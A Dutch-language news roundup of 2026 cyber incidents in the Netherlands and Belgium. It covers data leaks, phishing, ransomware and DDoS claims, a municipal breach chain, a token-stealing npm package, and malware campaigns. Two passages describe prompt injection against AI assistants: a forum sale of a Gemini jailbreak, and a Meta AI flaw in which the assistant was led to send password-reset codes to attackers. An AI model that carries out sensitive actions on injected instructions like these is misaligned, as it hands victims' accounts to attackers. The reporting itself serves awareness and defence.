Cyberaanvallen 2026 in Nederland en België

Staatssecretaris Van Bruggen van Justitie en Veiligheid heeft de Tweede Kamer geïnformeerd over een potentieel datalek in de Penitentiaire Inrichting (PI) Vught. Het incident betreft een laptop die aan een gedetineerde werd uitgegeven, waarop mogelijk gegevens van een andere gevangene stonden.

Gedetineerden in de PI Vught krijgen toegang tot speciale DSJ laptops om hun eigen strafdossiers digitaal in te zien. Deze laptops zijn strikt geïsoleerd; ze beschikken niet over een internetverbinding of andere faciliteiten en zijn uitsluitend bedoeld voor het raadplegen van het eigen statische strafdossier.

Onlangs meldde een gevangene van de PI Vught dat de DSJ laptop die hij had ontvangen, gegevens van een andere gedetineerde bevatte. De reguliere procedure schrijft voor dat een DSJ laptop na gebruik volledig wordt uitgeschakeld. Dit uitschakelen zorgt ervoor dat alle historie automatisch wordt verwijderd en de machine 'geschoond' wordt, voordat deze aan een volgende gedetineerde mag worden uitgegeven.

De melding van de gedetineerde doet vermoeden dat deze essentiële procedure mogelijk niet is gevolgd. Een dergelijke overtreding zou betekenen dat een gedetineerde inzage heeft gehad in gevoelige informatie van een andere gedetineerde. De staatssecretaris heeft de Tweede Kamer geïnformeerd vanwege de risicostatus van beide gedetineerden, waarbij één van hen momenteel verblijft in de Extra Beveiligde Inrichting (EBI).

Om de exacte toedracht vast te stellen en te bepalen of de werkprocedure inderdaad niet is opgevolgd, is een onderzoek gestart. Mocht uit dit onderzoek blijken dat de betreffende gedetineerde daadwerkelijk inzage heeft gehad in gegevens van een andere gedetineerde, dan zal dit als een datalek worden gemeld bij de Autoriteit Persoonsgegevens.

Bron: Tweede Kamer

Koninklijke Horeca Nederland (KHN) heeft een waarschuwing afgegeven aan hotels in Nederland over een omvangrijk datalek. Volgens de brancheorganisatie hebben gasten van hotels phishingberichten ontvangen als gevolg van dit incident. Hackers zijn erin geslaagd om binnen te dringen in de boekingssystemen van diverse hotels, waarbij gegevens van gasten zijn buitgemaakt.

KHN heeft naar aanleiding van het datalek talloze meldingen ontvangen van slachtoffers die de verdachte phishingberichten hebben ontvangen. De organisatie benadrukt de ernst van de situatie en roept hotels op alert te zijn en passende maatregelen te nemen. Details over de specifieke hotels of de omvang van het datalek zijn niet bekendgemaakt, maar de waarschuwing duidt op een breed probleem dat de Nederlandse hotelsector treft. Het is cruciaal dat hotels hun beveiligingsmaatregelen van boekingssystemen controleren en gasten informeren over mogelijke risico's.

Bron: Koninklijke Horeca Nederland (KHN)

De dreigingsactor Elite Squad heeft geclaimd DDoS aanvallen te hebben uitgevoerd op meerdere websites van Nederlandse universiteiten. Deze beweringen werden ontdekt door Cybercrimeinfo. De acties van Elite Squad zijn specifiek gericht op instellingen in Nederland.

Volgens de claims van de groep zijn de volgende Nederlandse universiteiten het doelwit geweest van de DDoS aanvallen:

*   Universiteit van Amsterdam

*   Erasmus Universiteit Rotterdam

*   Universiteit Leiden

*   Rijksuniversiteit Groningen

*   Universiteit Utrecht

*   Maastricht University

*   Amsterdam University College

Een Distributed Denial of Service (DDoS)-aanval heeft als doel een online dienst ontoegankelijk te maken door deze te overspoelen met een grote hoeveelheid verkeer, waardoor de servers overbelast raken en legitieme gebruikers geen toegang meer krijgen. De claim van Elite Squad omvat een reeks prominente Nederlandse academische instellingen. De alert vermeldt niet of deze aanvallen succesvol waren of wat de huidige operationele status van de websites van de getroffen universiteiten is.

Bron: Darkweb

Cybercrimeinfo ontdekte dat Katholiek Amersfoort, een religieuze instelling gevestigd in Nederland, het vermeende slachtoffer is geworden van de STORMOUS ransomwaregroep. De aanvallers beweren verantwoordelijk te zijn voor een cyberaanval en dreigen de gestolen data op het darkweb te publiceren.

Katholiek Amersfoort, bekend van haar website katholiekamersfoort.nl, is hiermee het meest recente Nederlandse doelwit dat in verband wordt gebracht met ransomware-activiteiten. De claim van de STORMOUS-groep duidt op een mogelijke datadiefstal, wat ernstige gevolgen kan hebben voor de privacy van betrokkenen en de operationele continuïteit van de instelling. Het publiceren van data op het darkweb is een veelgebruikte tactiek van ransomwaregroepen om druk uit te oefenen op slachtoffers om losgeld te betalen.

De melding van deze aanval benadrukt de aanhoudende dreiging van ransomware voor organisaties van elke omvang en sector, inclusief religieuze instellingen. Het is cruciaal voor alle entiteiten om robuuste cybersecuritymaatregelen te implementeren en incidentresponsplannen paraat te hebben om dergelijke aanvallen te mitigeren en de impact ervan te beperken.

Bron: Darkweb

Cybercrimeinfo heeft een melding ontvangen over vermeende DDoS aanvallen gericht op Nederlandse entiteiten. De dreigingsactor, bekend onder de naam NoName, claimt verantwoordelijk te zijn voor deze aanvallen. Specifieke doelwitten die door NoName zijn genoemd, betreffen VDL Bus & Coach en VDL Group.

Deze aanvallen zouden gericht zijn op meerdere websites binnen Nederland. DDoS aanvallen (Distributed Denial of Service) zijn methodes waarbij aanvallers proberen om online diensten en websites onbereikbaar te maken. Dit doen zij door de servers te overspoelen met een overweldigende hoeveelheid netwerkverkeer, afkomstig van een groot aantal gecompromitteerde computers of apparaten. Het gevolg hiervan is dat legitieme gebruikers geen toegang meer kunnen krijgen tot de getroffen diensten, wat kan leiden tot operationele verstoringen en financiële schade voor de getroffen organisaties.

De claims van NoName zijn op dit moment niet onafhankelijk bevestigd door de getroffen partijen of externe monitoringdiensten. De exacte aard en omvang van de vermeende aanvallen, evenals de eventuele impact op de operationele continuïteit van VDL Bus & Coach en VDL Group, zijn momenteel onduidelijk. Cybercrimeinfo blijft de situatie nauwlettend volgen voor verdere ontwikkelingen en officiële bevestigingen van de claims.

Bron: Darkweb

Er circuleren momenteel phishingberichten die misbruik maken van de naam van de Christelijke Mutualiteit in België. Deze e-mails verzoeken ontvangers om bepaalde accountgegevens te bevestigen voor een zogenaamde "administratieve controle". Dit betreft een poging tot oplichting, waarbij cybercriminelen proberen persoonlijke gegevens van de slachtoffers te bemachtigen.

Safeonweb.be waarschuwt dat dergelijke frauduleuze berichten vaak te herkennen zijn aan specifieke kenmerken. Zo wordt de ontvanger gevraagd op een link te klikken om gegevens te "bevestigen" of "aan te vullen". Deze link leidt vervolgens naar een valse website die de officiële website van de Christelijke Mutualiteit nabootst. Een ander kenmerk is het e-mailadres van de afzender, dat er vaak vreemd uitziet of kleine afwijkingen bevat, zoals overbodige letters, spelfouten of ongebruikelijke tekens. Hoewel de weergegeven afzendernaam legitiem kan lijken, is het raadzaam om op de naam te klikken of tikken om het volledige e-mailadres te controleren.

Om niet in de val te trappen, adviseert Safeonweb.be om niet op links in dergelijke verdachte e-mails te klikken, geen bijlagen te openen en geen applicaties te downloaden die in het bericht worden gevraagd. Ontvangers van deze phishingberichten wordt dringend geadviseerd de verdachte e-mail door te sturen naar verdacht@safeonweb.be.

Indien men onverhoopt toch op een link heeft geklikt, is het cruciaal om geen gegevens in te vullen en de pagina onmiddellijk te sluiten. Er mogen nooit persoonlijke codes worden doorgegeven. Als een wachtwoord is ingevoerd dat ook elders wordt gebruikt, dient dit wachtwoord onmiddellijk te worden gewijzigd. Wanneer er geld verloren is gegaan door de oplichting, is het van belang snel actie te ondernemen en het advies op de website van Safeonweb.be te volgen.

Bron: Safeonweb

Een datalek dat zowel Nederlandse als Belgische hotels raakt, heeft geleid tot aanzienlijke financiële verliezen voor tal van hotelgasten. Volgens berichtgeving van Het Laatste Nieuws (HLN) zijn slachtoffers in sommige gevallen duizenden euro's kwijtgeraakt door gerichte phishingaanvallen die volgden op het datalek. Eerder werd al bekend dat zeker honderd Nederlandse hotels getroffen zijn.

De aanvallers slaagden erin om op nog onbekende wijze reserveringsgegevens te stelen van een onbekend aantal hotels en hun gasten. Deze gestolen informatie werd vervolgens ingezet voor gerichte phishingcampagnes, waarbij slachtoffers onder andere via WhatsApp werden benaderd. In de phishingberichten werd beweerd dat de ontvanger nog een openstaand bedrag moest voldoen. Er werd gedreigd met de onherroepelijke annulering van de hotelreservering indien de betaling niet binnen een gestelde termijn zou plaatsvinden.

Colin Dearman, manager van hotel Astoria in De Haan, België, heeft tegenover HLN bevestigd dat sommige gasten op deze wijze voor duizenden euro's zijn opgelicht. De omvang van het verlies varieerde afhankelijk van de duur van het geplande verblijf. Opvallend is dat mensen die hun reservering telefonisch bij de hotels hadden gemaakt, geen doelwit zijn geworden van deze phishingaanvallen.

Volgens hoteliers lijkt de "gemene deler" van alle getroffen hotels het online reserveringssysteem te zijn waarmee zij werken. Dit systeem is ontwikkeld door het Gentse softwarebedrijf Lighthouse. De software koppelt hoteladministraties aan diverse online boekingssites, waaronder Booking.com, en verzamelt centraal alle reserveringen en klantgegevens. Het Laatste Nieuws suggereert dat Lighthouse mogelijk gehackt is. Echter, in een reactie heeft Lighthouse aangegeven dat er nog geen aanwijzingen zijn gevonden voor ongeautoriseerde toegang tot hun systemen.

Bron: Het Laatste Nieuws

De Nederlandse politie heeft recentelijk via haar Instagram-kanaal een urgente waarschuwing uitgegeven betreffende frauduleuze berichten die op bedrieglijke wijze de indruk wekken afkomstig te zijn van de Rabobank. Deze zorgwekkende berichten worden actief verspreid door cybercriminelen en zijn specifiek ontworpen om ontvangers te misleiden. In de valse communicatie wordt de ontvanger geïnformeerd dat de daglimiet van hun bankrekening succesvol is verhoogd naar een aanzienlijk bedrag van 54.000 euro. Het doel van deze mededeling is om onrust te zaaien en een gevoel van urgentie te creëren, waardoor slachtoffers sneller geneigd zijn tot actie over te gaan.

De afzenders van deze geraffineerde nepberichten instrueren de ontvanger om onmiddellijk contact op te nemen met een specifiek, in het bericht vermeld, telefoonnummer. Dit contact is vereist als de ontvanger deze substantiële limietverhoging niet zelf heeft aangevraagd. Deze tactiek is een klassiek voorbeeld van bankhelpdeskfraude, een veelvoorkomende vorm van cybercriminaliteit waarbij oplichters zich voordoen als bankmedewerkers om het vertrouwen van slachtoffers te winnen.

Zodra een argeloze ontvanger het in het nepbericht opgegeven telefoonnummer belt, komen zij in contact met de cybercriminelen. Deze criminelen proberen vervolgens via uitgekiende social engineering technieken toegang te verkrijgen tot de bankrekening van het slachtoffer. Dit kan op verschillende manieren gebeuren: door het ontfutselen van inloggegevens, het overtuigen van het slachtoffer om persoonlijke bankgegevens te delen, of zelfs door het slachtoffer te manipuleren om zelfstandig een geldbedrag over te maken naar een bankrekening die onder controle staat van de fraudeurs. De valse melding van een verhoogde daglimiet van 54.000 euro dient hierbij als een krachtig lokmiddel om angst en paniek te zaaien, waardoor slachtoffers minder kritisch worden en sneller geneigd zijn tot actie over te gaan.

De politie benadrukt met klem het belang van waakzaamheid bij het ontvangen van dergelijke ongevraagde en verdachte berichten. Het dringende advies aan alle burgers is om het telefoonnummer dat in het frauduleuze bericht wordt vermeld, onder geen enkele omstandigheid te bellen. Bij enige twijfel over de authenticiteit van een bericht van een bank, is het cruciaal om altijd zelfstandig en proactief contact op te nemen met de betreffende financiële instelling. Dit dient uitsluitend te gebeuren via de officiële en geverifieerde communicatiekanalen van de bank, zoals de officiële website of de mobiele applicatie. Deze kanalen bieden de enige betrouwbare en veilige manier om de geldigheid van dergelijke berichten te controleren en zo te voorkomen dat men slachtoffer wordt van geavanceerde fraude.

Bron: Politie

De gemeente Epe is het slachtoffer geworden van een cyberaanval waarbij een aanvaller het wachtwoord van een beheerder kraakte en toegang verkreeg tot een noodaccount. Als gevolg hiervan is 871 gigabyte aan data buitgemaakt, waaronder een export uit de Basisregistratie Personen (BRP) met gevoelige persoonsgegevens van inwoners. Dit blijkt uit een interne evaluatie van het datalek, zoals door de gemeente gepubliceerd.

De aanval begon op 10 maart dit jaar, toen een aanvaller via een zogeheten ClickFix-aanval toegang wist te verkrijgen tot het systeem van een gemeentemedewerker. Bij een aanval van het type ClickFix worden slachtoffers misleid om specifieke commando's op hun computer uit te voeren. Dit gebeurt vaak door middel van malafide CAPTCHA-pagina's die een schadelijk PowerShell commando naar het klembord kopiëren, waarna de gebruiker wordt geïnstrueerd dit commando uit te voeren in het Uitvoervenster of de Windows Terminal.

Nadat de aanvaller voet aan de grond had gekregen op het systeem van de medewerker, werd gezocht naar andere ingelogde gebruikers. Door een kerberosticket van een ingelogde beheerder te ontsleutelen, lukte het de aanvaller om het bijbehorende wachtwoord te kraken en zo toegang te krijgen via diens ticket. Vervolgens werd ook toegang verkregen tot een noodaccount, dat over uitgebreide toegangsrechten op het systeem beschikte. De gemeente stelt dat dit noodaccount, dat als een 'loper' kan worden gezien, in de regel geen meervoudige authenticatie (MFA) heeft omdat het bedoeld is voor noodtoegang. Echter, er waren onvoldoende aanvullende beveiligingsmaatregelen getroffen voor dit account, waardoor de aanvaller vergaande rechten kon verkrijgen.

Met de verworven toegang kopieerde de aanvaller met behulp van het programma AzCopy circa 871 gigabyte aan data, verspreid over ruim 550.000 bestanden, naar een externe cloudopslag, een Azure Blob Storage. De gestolen data was afkomstig van een interne bestandsserver die op korte termijn zou worden uitgefaseerd, in verband met een geplande migratie naar SharePoint en Microsoft Teams.

De buitgemaakte gegevens omvatten een export uit de BRP met persoonsgegevens van inwoners, zoals naam, adres, geslacht, woonplaats, geboortedatum en Burgerservicenummer (BSN). Daarnaast werden persoonsgegevens van medewerkers gestolen, waaronder namen, e-mailadressen, zakelijke telefoonnummers, datum indiensttreding en profielfoto's. Ook financiële gegevens van de gemeente en haar relaties, aanvragen voor gemeentelijke voorzieningen, meldingen van overlast of verstoring van de openbare orde, en kopieën van ongeveer duizend identiteitsbewijzen behoorden tot de gestolen informatie. De gemeente Epe heeft bevestigd dat de gestolen gegevens op het moment van schrijven niet zijn gepubliceerd op bekende leksites of marktplaatsen, dat er geen losgeld is geëist en dat er geen indicaties zijn van misbruik van de data.

Naar aanleiding van het incident heeft de gemeente verschillende lessen getrokken. De aanval begon met social engineering, wat benadrukt dat technische maatregelen alleen niet volstaan en medewerkers getraind moeten worden om verdachte situaties te herkennen en te melden. Het bewustwordingsprogramma voor medewerkers zal worden vernieuwd. Verder zijn werkprocessen aangepast om de opslag van gevoelige gegevens, zoals data-exports en kopieën van identiteitsbewijzen, te voorkomen. Ook is het gebruik van PowerShell en het Run-venster voor standaardgebruikers beperkt en is de netwerksegmentatie aangescherpt.

Bron: Gemeente Epe | Bron 2: radar.avrotros.nl | Bron 3: rijksoverheid.nl

De criminele groepering ShinyHunters claimt een datalek te hebben veroorzaakt bij het Nederlandse zakenreisbureau BCD Travel. De gestolen data zou gegevens van 396.000 accounts omvatten. Dit nieuws is bevestigd door beveiligingsonderzoeker Troy Hunt, oprichter van de datalekzoekmachine Have I Been Pwned, die de 396.000 e-mailadressen van de betrokken accounts aan zijn website heeft toegevoegd. Op de officiële website van BCD Travel is momenteel geen informatie over het mogelijke datalek te vinden.

Eerder liet BCD Travel aan het FD weten dat het recentelijk verdachte activiteit had waargenomen via een intern gebruikt account. Na deze ontdekking is direct een onderzoek gestart om de aard en omvang van de activiteiten vast te stellen, welk onderzoek nog gaande is. ShinyHunters maakte eind vorige maand bekend de systemen van BCD Travel te hebben gehackt en stelde een ultimatum voor losgeld, met een deadline van 1 juni. Toen deze deadline verstreek, publiceerden de cybercriminelen eerder deze week een dataset van dertig gigabyte, die afkomstig zou zijn van BCD Travel. De groep beweert in totaal de gegevens van meer dan 700.000 accounts te hebben buitgemaakt.

De dataset bevat, naast andere informatie, de 396.000 e-mailadressen die nu zijn opgenomen in de database van Have I Been Pwned. Deze website stelt gebruikers in staat te controleren of hun e-mailadres is betrokken bij bekende datalekken. Opvallend is dat slechts 28 procent van de e-mailadressen die nu bij BCD Travel zouden zijn gestolen, al bekend was via een eerder datalek bij Have I Been Pwned. Dit percentage is aanzienlijk lager dan bij veel andere datalekken, waar een groter deel van de gelekte adressen al eerder in omloop bleek te zijn.

Bron: Have I Been Pwned

Een alleenstaande moeder uit Aarschot, de 45-jarige Ellie Dewinter, is al haar spaargeld kwijtgeraakt door een geraffineerde vorm van online oplichting. Dewinter solliciteerde online voor een flexi-job in het weekend, in de hoop wat extra geld te verdienen. Binnen enkele minuten na haar online sollicitatie was haar rekening leeggeplunderd. Ze verklaarde: "In 5 minuten tijd was ik alles kwijt." Het ging om geld waarvoor ze maandenlang had gespaard.

De internetcriminelen gingen volgens de politie zeer gewiekst te werk. Hoewel de specifieke methoden van de oplichters niet in detail zijn beschreven, waarschuwt de politie voor het belang van voorzichtigheid bij online sollicitaties. Een belangrijke indicator voor potentiële fraude is wanneer er sprake is van haast. "Als er haast bij is, klopt er iets niet," aldus de waarschuwing van de politie, die benadrukt dat dit een veelvoorkomend kenmerk is van dergelijke zwendelpraktijken. Het incident onderstreept de noodzaak voor burgers om alert te zijn op verdachte signalen bij online interacties, vooral wanneer financiële gegevens of snelle beslissingen worden gevraagd.

Bron: HLN.be

Een veelgebruikte softwaretool, die door duizenden mobiele ontwikkelaars is gedownload, is ontdekt terwijl deze heimelijk authenticatietokens steelt. Op 27 mei 2026 publiceerde Aikido Security onderzoek over een kwaadaardig pakket op npm genaamd `codexui-android`. Dit pakket, een populaire webinterface op afstand voor OpenAI Codex (een taalmodel dat code schrijft), wordt wekelijks ongeveer 27.000 keer gedownload.

Charlie Eriksen, onderzoeker bij Aikido Security, ontdekte dat dit pakket vorige maand een supply chain aanval uitvoerde om gebruikersdata te stelen. Opmerkelijk is dat de aanvallers geen standaardmethoden zoals typosquatting of accountkaping gebruikten. In plaats daarvan ontwikkelden ze een daadwerkelijk nuttige tool, vermoedelijk om een legitieme gebruikersbasis op te bouwen voordat deze werd bewapend. Het kwaadaardige code bestaat niet in de publieke repository op GitHub, maar verschijnt alleen in het gepubliceerde pakket op npm, waardoor een standaard audit van de broncode dit zou missen.

De aanval wordt direct geactiveerd bij het laden van de module. De eerste regel van `dist-cli/index.js` importeert een verborgen script genaamd `chunk-PUR7OUAG.js`. Dit script controleert snel op lokale referenties. Indien gevonden, wordt een exfiltratieroutine gestart om `access_token`, `id_token`, `account ID` en de `refresh_token` uit het `auth.json`-bestand te stelen. Een bijzonder problematisch aspect is dat een `refresh_token` niet verloopt, waardoor aanvallers zich voor onbepaalde tijd kunnen voordoen als het slachtoffer.

Om het netwerkverkeer te verbergen, stuurt de code de gestolen gegevens naar een endpoint van de server genaamd `sentry.anyclawstore`. Deze naam werd opzettelijk gekozen om op te gaan in de normale telemetrie voor foutrapportage van Sentry. In de verborgen source map liet de auteur zelfs een duidelijke opmerking achter: "Send tokens to our startlog endpoint (always)".

De onderzoekers merkten in een blogpost op dat deze dreigingsactor ook Android mobiele apparaten target. De auteur publiceerde apps in de Google Play Store onder de ontwikkelaarsidentiteit BrutalStrike, die ook eigenaar is van een legitiem mobiel spel met meer dan 5 miljoen downloads. Twee specifieke apps, een betaalde productiviteitsapp genaamd `codex.app` en een andere genaamd "OpenClaw Codex Claude AI Agent", bevatten dezelfde kwaadaardige infrastructuur.

De apps voor Android doorstaan gemakkelijk de voorpublicatie beveiligingsscans van Google, omdat het initiële APK bestand van 26 MB er volledig schoon uitziet. Eenmaal geïnstalleerd, extraheert de app een Linux userland afgeleid van Termux naar privéopslag en start Node.js met behulp van PRoot. Vervolgens wordt een commando uitgevoerd om de nieuwste versie van het pakket op npm te installeren: `pnpm add codexui-android@latest`. De exfiltratie is actief sinds versie `2.1.0`.

Toen Eriksen de auteur confronteerde, plaatste deze kort een opmerking waarin hij beweerde de toegang tot zijn account op npm te zijn kwijtgeraakt. Dit werd kort daarna verwijderd en vervangen door een bedrijfsverklaring waarin elke diefstal van referenties werd ontkend. Vanaf vandaag zijn de kwaadaardige softwarepakketten en apps nog steeds online beschikbaar. De onderzoekers concludeerden: "ontwikkeltools voor AI worden een doelwit van hoge waarde, juist omdat de tokens krachtig en langdurig zijn... een dreigingsactor heeft veel moeite geïnvesteerd in het bouwen van een geloofwaardig, nuttig project om als dekmantel te gebruiken. De legitimiteit is de aanvalsvector. Naarmate tools voor AI zich verspreiden en ontwikkelaars naar productiviteitssnelkoppelingen grijpen, verwacht dan meer van dit soort aanvallen."

Bron: Aikido Security

Op een ondergronds forum is een aanbod verschenen voor een exploit die volgens de aanbieder misbruikmaakt van promptinjectie in het taalmodel Gemini 3.1. De crimineel claimt dat deze exploit de ingebouwde beveiligingsregels van het grote taalmodel kan omzeilen. Hoewel de advertentie geen specifieke technische details bevat, wordt er wel gesproken over een 'proof of concept' met bijbehorende screenshots en voorbeelden, die op verzoek beschikbaar zouden zijn voor geïnteresseerde kopers. De prijs voor de exploit wordt via privécontact besproken.

De claims over de functionaliteit van de exploit zijn op dit moment niet onafhankelijk geverifieerd. Er is geen informatie beschikbaar over welke specifieke versies van Gemini 3.1 kwetsbaar zouden zijn, welke vereisten er zijn voor een succesvolle aanval, of hoe betrouwbaar de aangeboden methode daadwerkelijk is. Dit aanbod past in een bredere, zorgwekkende trend waarbij technieken zoals 'jailbreaks' en promptinjectie voor taalmodellen steeds vaker als handelswaar op criminele markten verschijnen.

Organisaties die toepassingen inzetten die gebaseerd zijn op grote taalmodellen, doen er goed aan om proactieve beveiligingsmaatregelen te treffen. Dit omvat het zorgvuldig valideren van alle invoer, het continu monitoren van de uitvoer van de modellen, het strikt scheiden van rechten en het alert zijn op signalen die kunnen duiden op aanvallen via promptinjectie. Door deze stappen te volgen, kunnen potentiële risico's worden beperkt.

Bron: Cybercrimeinfo

Een ernstige kwetsbaarheid in de digitale assistent Meta AI van Instagram maakte het mogelijk om accounts over te nemen, zelfs als deze waren beveiligd met tweefactorauthenticatie. Kwaadwillenden konden door middel van promptinjectie, een techniek waarbij misleidende instructies worden gegeven, de assistent zover krijgen dat deze een wachtwoordherstelcode of een herstellink naar het e-mailadres van de aanvaller stuurde. Dit proces omzeilde de gebruikelijke identiteitscontroles van Instagram.

Elke aanvaller die de gebruikersnaam van een doelwit kende, kon dit overnameproces in gang zetten. De methode omvatte het gebruik van een VPN die overeenkwam met de geografische locatie van het doelwit. Vervolgens vroeg de aanvaller via de Meta AI een wachtwoordherstel aan, waarbij een eigen e-mailadres werd opgegeven voor de ontvangst van de herstellink of code.

Een prominent slachtoffer van deze methode was het gearchiveerde Instagramaccount van het Witte Huis uit de regeringsperiode van voormalig president Barack Obama. Dit account, dat sinds januari 2017 niet meer actief werd gebruikt, werd misbruikt om een afbeelding met een politieke boodschap te plaatsen. Meta heeft de hack inmiddels bevestigd, het account veiliggesteld en de ongeautoriseerd geplaatste inhoud verwijderd.

Volgens beveiligingsonderzoekers zijn op deze manier meer hoogwaardige accounts en korte, gewilde gebruikersnamen overgenomen, waarna ze werden doorverkocht via Telegram. Meta heeft verklaard dat de kwetsbaarheid inmiddels is verholpen. Dit incident benadrukt hoe digitale assistenten een nieuw en significant aanvalsoppervlak introduceren zodra zij in staat zijn gevoelige acties zoals wachtwoordherstel uit te voeren.

Bron: Neowin | Bron 2: tmz.com

Google introduceert een nieuwe beveiligingsfunctie in de Chrome-browser, genaamd Device Bound Session Credentials (DBSC), die ingelogde sessies cryptografisch koppelt aan het specifieke toestel waarop ze zijn aangemaakt. Deze maatregel is ontworpen om het voor cybercriminelen aanzienlijk moeilijker te maken om gestolen sessiecookies te misbruiken voor accountovernames.

Sessiecookies zijn al geruime tijd een geliefd doelwit voor aanvallers. Wanneer een aanvaller een sessiecookie bemachtigt, kan deze zich voordoen als een reeds aangemelde gebruiker, waardoor een nieuw wachtwoord of een multifactorauthenticatieproces niet nodig is. Dit maakt sessiekaping een bijzonder efficiënte methode voor het overnemen van accounts.

DBSC pakt dit probleem aan door sessies te verbinden met de unieke hardware van een apparaat. Op systemen met Windows maakt Chrome hiervoor gebruik van de Trusted Platform Module (TPM), terwijl toestellen met macOS de Secure Enclave inzetten. Bij het inloggen genereert Chrome niet alleen een sessiecookie, maar ook een cryptografisch sleutelpaar. De sessie blijft zodoende onlosmakelijk verbonden met die specifieke hardware. Een aanvaller die enkel de cookie weet te stelen, beschikt daardoor niet over de essentiële sleutels die nodig zijn om de sessie te misbruiken. Google verwacht dat dit de bruikbaarheid van gestolen sessies voor accountovernames aanzienlijk zal verminderen.

Google kondigde DBSC reeds in 2024 aan en is nu gestart met de brede uitrol van de functionaliteit. De functie wordt automatisch geactiveerd en kan niet handmatig worden uitgeschakeld door gebruikers. Voor klanten van Google Workspace zijn er geen administratieve handelingen vereist. Om DBSC te kunnen gebruiken, moeten systemen minimaal Chrome 146 draaien op Windows of Chrome 148 op macOS. Daarnaast is compatibele hardware noodzakelijk, zoals een TPM-chip op Windows systemen en de Secure Enclave op Macs.

Deze beveiligingsmaatregel komt op een moment dat malware die browsergegevens steelt, waaronder sessiecookies, steeds vaker wordt ingezet. Hoewel DBSC deze specifieke aanvalsvector minder aantrekkelijk maakt, benadrukt Google dat gebruikers waakzaam moeten blijven. De nieuwe beveiliging beschermt tegen het misbruik van gestolen cookies, maar voorkomt niet dat malware andere gevoelige gegevens buitmaakt.

Bron: itdaily.com

Dashlane, een bekende wachtwoordmanager, heeft een beveiligingsincident openbaar gemaakt waarbij gebruikersaccounts het doelwit waren van een grootschalige brute force aanval. De aanval begon op 31 mei 2026, zo meldt het bedrijf. Een externe dreigingsactor probeerde de twee-factor authenticatie (2FA) beveiligingen te omzeilen door herhaaldelijk authenticatiecodes te raden. Het doel was om ongeautoriseerde apparaten te registreren op de accounts van slachtoffers.

De aanval werd gedetecteerd door de geautomatiseerde beveiligingssystemen van Dashlane. Deze systemen reageerden door de verdachte activiteiten te blokkeren en de getroffen gebruikersaccounts preventief te vergrendelen. Dit leidde tot de vergrendeling van meerdere accounts, waardoor gebruikers tijdelijk geen toegang hadden tot hun wachtwoordmanager.

Een brute force aanval is een methode waarbij aanvallers systematisch combinaties van wachtwoorden of, in dit geval, authenticatiecodes proberen totdat de juiste combinatie wordt gevonden. Door het herhaaldelijk raden van 2FA-codes hoopten de aanvallers een tweede beveiligingslaag te doorbreken die normaal gesproken toegang tot een account beschermt, zelfs als het wachtwoord bekend is. Het succesvol registreren van een ongeautoriseerd apparaat zou de dreigingsactor in staat stellen om toekomstige inlogpogingen uit te voeren zonder de noodzaak van de 2FA-code, wat een aanzienlijk risico vormt voor de privacy en veiligheid van de opgeslagen gegevens.

Dashlane heeft in reactie op het incident stappen ondernomen om de beveiliging verder te versterken en gebruikers te informeren over de situatie. Hoewel de geautomatiseerde verdedigingsmechanismen de aanvallen hebben afgeslagen en ongeautoriseerde toegang tot zover bekend is voorkomen, benadrukt het incident het voortdurende gevaar van gerichte cyberaanvallen op accounts die gevoelige informatie bevatten, zoals wachtwoorden. Gebruikers van Dashlane die getroffen zijn, zullen waarschijnlijk instructies ontvangen om hun account te herstellen en opnieuw te beveiligen.

Bron: Dashlane

Een dreigingsactor, bekend als DriveSurge, voert grootschalige malware-distributiecampagnes uit door middel van ClickFix- en FakeUpdates-technieken op gecompromitteerde websites. Volgens onderzoekers van cybersecuritybedrijf SilentPush zijn duizenden websites gecompromitteerd in DriveSurge-campagnes om bezoekers om te leiden naar infrastructuur voor malwarelevering.

ClickFix is een social engineering tactiek die slachtoffers verleidt tot het kopiëren en uitvoeren van kwaadaardige commando's op hun systemen, vaak resulterend in malware-infecties onder het mom van het oplossen van een technisch probleem. Bij FakeUpdates-aanvallen lokken dreigingsactoren slachtoffers met frauduleuze software-updateprompts, meestal door browserupdates na te bootsen, om hen te verleiden tot het downloaden en installeren van kwaadaardige payloads.

SilentPush-onderzoekers melden dat de dreigingsactor DriveSurge voornamelijk functioneert als een initial access broker (IAB) die opereert op een pay-per-install (PPI) model, wat verdere aanvallen mogelijk maakt. Bezoekers van gecompromitteerde websites worden omgeleid via een Traffic Distribution System (TDS) genaamd zTDS. Dit systeem profileert hen en bepaalt of een FakeUpdates- of een ClickFix-lokmiddel geschikter is. zTDS is een open-source TDS dat al sinds minstens 2015 bestaat en dat DriveSurge sinds minstens september 2025 gebruikt. SilentPush stelt dat DriveSurge met zTDS duizenden legitieme websites met een hoge reputatie kaapt en bezoekers stilzwijgend omleidt naar malware, zonder medeweten van de eigenaren van de sites of hun bezoekers.

De FakeUpdates-lokmiddelen bevatten valse updateberichten voor browsers zoals Chrome, Firefox, Edge, Safari, Opera, Brave, Yandex, Vivaldi, Samsung Internet en UC Browser. De ClickFix-aanvallen omvatten PowerShell-commando's. Een specifiek geval, belicht in het SilentPush-rapport, betreft een valse update voor Firefox die een ZIP-archief downloadde met meerdere DLL's en een kwaadaardig uitvoerbaar bestand genaamd ‘Browser Update.exe’.

De onderzoekers identificeerden acht technische vingerafdrukken die aan de campagne zijn gekoppeld en die hielpen bij het identificeren van de DriveSurge-infrastructuur en gecompromitteerde websites. Hieronder valt een JavaScript-injectie volgens het patroon ‘t.js?site= ’, waarbij een unieke waarde aan elke gecompromitteerde website wordt toegekend. Door analyse ontdekte SilentPush meer dan 80 kwaadaardige injectiedomeinen en een reeks voorbereide domeinen die nog niet in aanvallen waren gebruikt. Bovendien ontdekten de onderzoekers een geobfusceerde JavaScript-payload die specifiek is ontworpen om macOS-desktopsystemen aan te vallen. Deze payload werd geleverd via verificatie-gerelateerde ClickFix-aanvallen die het klembord kapen, wat aangeeft dat de campagne verder reikt dan Windows. Gebruikers wordt aangeraden browserupdates alleen te downloaden via de instellingen van hun applicatie (Over > Controleren op updates) en geen commando's uit te voeren in de Windows-opdrachtprompt of Terminal die ze niet volledig begrijpen.

Bron: SilentPush | Bron 2: hubs.li

Een recente malwarecampagne heeft bijna 2.000 WordPress websites geïnfecteerd door op ingenieuze wijze command-and-control (C2) data te verbergen in commentaren op Steam Community profielen. De dreigingsactor maakt gebruik van onzichtbare Unicode-tekens om een payload te coderen die een URL naar een kwaadaardig script opbouwt. Door het platform van Valve te misbruiken, vermijdt de aanvaller het onderhouden van een aparte C2-infrastructuur en omzeilt deze traditionele detectiemethoden.

